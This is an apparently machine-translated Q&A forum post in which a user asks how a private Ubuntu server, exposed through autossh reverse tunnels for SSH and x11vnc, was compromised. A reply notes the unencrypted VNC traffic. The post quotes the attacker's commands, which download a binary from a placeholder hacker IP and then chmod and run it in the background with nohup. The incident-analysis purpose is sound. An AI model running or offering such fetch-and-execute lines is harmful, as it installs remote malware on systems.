今天我被黑了。这是非常令我费解的是如何做到这一点,所以我正在寻找有经验的人,以显示我的系统设计的弱点。
我有两台服务器。第一个是连接到internet的VPS (server1),第二个是服务器内部专用网络(server2),通过ssh反向隧道连接到第一个专用网络,将端口22 (ssh)和5900 (x11vnc)暴露到因特网上。这两台服务器都是Ubuntu14.04。
我使用这些命令创建ssh反向隧道(在server2上):
autossh -fR \*:4202:localhost:22 -N root@server1.com
autossh -fR \*:5900:localhost:5900 -N root@server1.com有关我服务器上SSH配置的更多细节。
全配置
全配置
至于x11,我使用这个命令来创建x11vnc服务器:
/usr/bin/x11vnc -dontdisconnect -notruecolor -noxfixes -shared -forever -rfbport 5900 -bg -o /home/{username}/.vnc/x11vnc.log -rfbauth /home/{username}/.vnc/passwd -auth /var/lib/mdm/:0.Xauth我的VNC密码很好。
server1是积极的野蛮人,但我没有任何证据表明它是被破坏的。
没有密码就不能从server2访问server1。
所以,今天我在server2上的server2上找到了这个:
wget http://{HACKER_IP}:8080/heng
chmod 0755 /root/heng
chmod 0755 ./heng
/dev/null 2>&1 &
nohup ./heng > /dev/null 2>&1 &{HACKER_IP}由虚拟总额报告为分发Win32.Ramnit的。
/var/log/auth.log是干净的。
恒进程在我的记忆中,但不在磁盘上。我已经关闭了我的系统所以我再也没有它了。
server2怎么可能在server1之前就被破坏了?它生活在非标准4202端口,并使用相当好的登录/密码组合。
我将来怎样才能避免这种情况?
发布于 2016-05-18 03:35:48
据我从您的设置中可以看出,VNC流量没有加密。很容易将会话记录回server2。请参见:
http://vncspy.sourceforge.net/
https://serverfault.com/questions/708810
复制相似问题